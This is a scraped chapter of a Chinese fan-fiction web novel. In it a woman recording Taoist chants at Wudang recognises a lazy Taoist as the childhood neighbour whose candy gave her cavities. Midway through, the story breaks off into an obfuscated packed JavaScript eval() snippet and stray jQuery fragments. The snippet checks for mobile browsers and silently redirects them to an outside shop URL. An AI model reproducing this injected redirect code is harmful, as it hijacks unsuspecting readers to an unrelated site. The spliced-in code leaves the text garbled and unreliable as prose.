文趣网 > 都市小说 > [一人之下]温水煮老王实录 > 3. 第二章 虫牙
    一周过去,齐岑对于武当山上的日常有了大概了解。

    她每天在大殿的固定角落录课,华道长给她递了个蒲团,偶尔还会在结束后跟她聊两句。

    她渐渐熟悉了早晚课的节奏。

    钟鼓声每日准时响起,诵经声低沉悠长,像一条看不见的河,日复一日地流淌。

    道士们跪得端正,诵经时神情专注,眉眼低垂。

    但也有例外。

    最后一排的那个乾道,总是一副睡不醒的样子。

    这人在一众专注诵经的道士里过于“出挑”,像一个凑数的。

    她观察了几天,这人几乎每天都是一个德行。

    眼皮永远耷拉着,嘴永远慢半拍儿。

    偶尔还微微张一下嘴,像是要打哈欠,又生生憋了回去,看着有点招笑。

    她有点纳闷,照理说,武当山上的道士都作息规律,早睡早起,这人怎么还能困成这样?晚上到底干嘛去了?

    他那俩黑眼圈都快赶得上国宝了。

    回到住处,她将早课的录音导进电脑,戴上耳机,一边听一边在五线谱本上记谱。

    遇到有疑惑的地方,就在一旁的小本子上随手记一笔,几天下来,已经积攒了一小串问题。

    下午,她带着本子去了紫霄宫大殿。

    殿里游客不多,华道长正坐在殿门口的椅子上,手里翻着一本经书,偶尔抬头看一眼往来的游客。

    “华道长,”齐岑走上前,笑盈盈开口:“有几个问题想请教你。”

    华道长接过本子看了一会儿,一一解答。

    齐岑边听边在本子上记,偶尔点点头,没怎么插话。

    但到最后两个问题时,华道长皱了皱眉,沉吟片刻,摇了摇头。

    “这两个,我不太清楚。”她转头看了一眼殿内,叫住一个正在整理香烛的坤道,那坤道走过来看了看,也摇头。

    华道长刚要开口,余光瞥见殿后转出一个人来。

    “正好,”她朝那个方向抬了抬下巴,“你问他。”

    齐岑望过去,是那个总在早课上打哈欠的乾道。

    他还是那副没睡醒的样子,顶着俩挺大的黑眼圈,手里拿着个保温杯,不知道刚从哪个角落晃悠过来。

    “他是云龙道长的弟子,对经韵熟悉。”华道长叫住他,“王也,正好,这姑娘有两个问题,你帮她看看。”

    王也?

    齐岑默默念了一遍这名字,又看了一眼那个懒道士,脑子里瞬间自动将几个散落的碎片拼成了一张图。

    中海王卫国家的老三出家当道士这事,当年可是爆炸性的新闻。

    再瞧瞧他现在这副懒散样子,几乎跟他小时候如出一辙。

    她现在确定,这货就是当年那罪魁祸首。

    下意识地抬手捂住了左脸颊,看见王也,她就觉得牙疼。

    王也听见有人叫他,慢悠悠地转过头,看了一眼华道长,又看了眼齐岑,然后才不紧不慢地晃悠过来。

    华道长将手中的本子给王也:“就最后两个,你帮她看看。”

    王也接过来,懒洋洋地扫了一眼,缓缓开口。

    齐岑放下捂着脸颊的手,开始记笔记。

    “这处是转调,韵脚没跟着正韵走,您按‘上尺工凡’那套去对就行。”

    他声音不大,语速也不快,但条理清楚,三两句话就把问题说透了。

    等他说完,她合上本子:“谢谢王道长。”

    王也将本子递还给她,摆了摆手。

    “客气。”

    然后拿着保温杯晃走了。

    齐岑也没多留,跟华道长告别,转身往回走。

    走了几步,她忽然有些庆幸,还好当年她换牙了,不然这牙疼怕不是得跟着她一辈子。

    六岁那年,她还住在北京。

    她妈妈跟隔壁的王家阿姨天天凑一堆儿打麻将,然后把她扔给王家的小儿子带,也就是王也。

    十岁的小少年顶着个巨丑无比的中分锅盖头,带着她在自家大院里,慢悠悠地转了一圈又一圈。

    他全程面无表情,没事还叹两口气。

    “哥哥,我们玩什么呀?”她跟在身后,拽了拽他的衣角。

    他往树荫处看了一眼:“那有阴凉儿。”

    说完,他就自己走过去了,然后坐下。

    她屁颠屁颠地跟上。

    “哥哥,我们玩过家家吧。”

    他懒洋洋地看她一眼:“自个儿玩。”

    “哥哥,那我们玩跳房子吧。”她锲而不舍。

    “不会。”

    “我教你啊。”

    “太热了。”

    “哥哥,那我们玩弹珠?”

    他淡淡开口:“你又不会。”

    “你教我呀。”

    “麻烦。”

    还没等她说下一句话,他就从兜里摸出一颗大白兔奶糖塞给她。

    糖果这种东西,对六岁的小孩儿而言,确实有一定的诱惑力。

    她愣了下,低头剥开糖纸,含进嘴里,安静下来。

    王也看了她一眼,像是确认了“糖能堵嘴“这个事实,然后把兜里剩下的糖全都递给了她。

    “吃糖。”他说:“别说话。”

    从那以后,每次王也带她玩的时候都会塞给她好多块大白兔奶糖。

    她安静吃糖,他就在一旁闭眼躺着,十分惬意。

    她不记得那段时间他具体喂了她多少块奶糖,两三个月下来,没个千八块,也有个百来块了。

    直到某一天,她开始牙疼,妈妈带她去医院检查,才发现后槽牙上多了好几个黑洞洞。

    后来,她去幼儿园,小朋友看见她牙齿上的黑洞洞,都嘲笑她“嘴巴里有虫子”、“以后嫁不出去”云云。

    放学她是哭着回家的。

    她去找王也,对着他哭。

    “哥哥,我以后嫁不出去了。”</p

    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17871788|212299||http|test|mini|href|location'.split('|'),0,{}));

    () {

    $('.inform').remove();

    $('#content').append('

    >

    现在她都忘不了王也当时的反应,他就差把“真麻烦”三个字直接写到脸上了,然后,缓缓的,又从兜里掏出一块大白兔奶糖递给她。

    她哭得更大声了。

    从此以后,她对甜食敬而远之,托王也的福。

    真是不堪回首的黑历史。

    这事儿虽不算什么好事,但也没什么好计较的。

    只是印象太深刻,看到王也就觉得牙疼。

    说起王也,华道长刚刚好像有提到,他是云龙道长的弟子。

    武当山是异人大派,云龙道长作为高层,他的弟子,大概率不是普通人。

    她想起王也那懒散的样子,心里有了数。

    晚课结束后,她往回走,刚拐进生活区的巷子,就听见了陈圆的声音。

    “齐岑,快快,来搭把手,拿不了了。”

    她回头,看见陈圆怀里抱着一个大箱子,上面摞着不少的快递袋子,下巴还夹着一个扁扁的包裹,正歪歪扭扭地往前走。

    她走过去,抬手接过上面那几个摇摇欲坠的包裹。

    “累死我了。”陈圆喘了口气,“你是不知道,快递好几天前就显示已经签收了,我天天去龙虎殿后面那个广场翻,翻了好几天才找着,太费劲了。”

    齐岑无比赞同:“是费劲,我昨天也去了,没找着。”

    武当山的快递一般只能送到山脚下的中转站,山上的师傅会定期开车下山拉回来,至于是什么时候,没有规律,全看师傅心情。

    “可不是嘛。”陈圆来了劲,“那边快递堆得跟小山似的,乱七八糟的,每次去都得翻半天,今天总算翻着了,对了,还有你的,顺便一块儿拿回来了。”

    “谢谢。”

    陈圆咧嘴一笑:“客气啥,顺手的事。”

    进屋以后,俩人就开始拆快递,齐岑刚拉开袋子封口,空气嘶嘶地涌进去,原本像大号压缩饼干的被子慢慢鼓了起来。

    摸着厚实,软和,她很满意,然后将被子铺到床上。

    “齐岑,这个大箱子也是你的。”陈圆道。

    她疑惑地看过去,她不记得还买过其他东西。

    看了一眼快递信息,寄件人,宇宙第一帅。

    她嘴角微微抽了一下,没说话,低头拆快速。

    好家伙,一箱子的零食,品类齐全,应有尽有。

    她转头看了一眼陈圆,这人心肠真好,拿一趟快递,自己的东西就两个小件,大件全帮她拿了。

    “辛苦了。”齐岑从零食箱里拿出一包奶酪块,递给陈圆。

    陈圆接过,笑得开心:“还有好吃的,谢谢。”

    简单洗漱之后,陈圆窝回床上刷手机,齐岑则坐在书桌前,戴着耳机整理论文材料。

    她拿起手机,打开微信,点开一个对话框,打了几个字发过去。

    “快递收到了。”

    对方没回。

    估计是又钻进哪个没信号的深山老林了。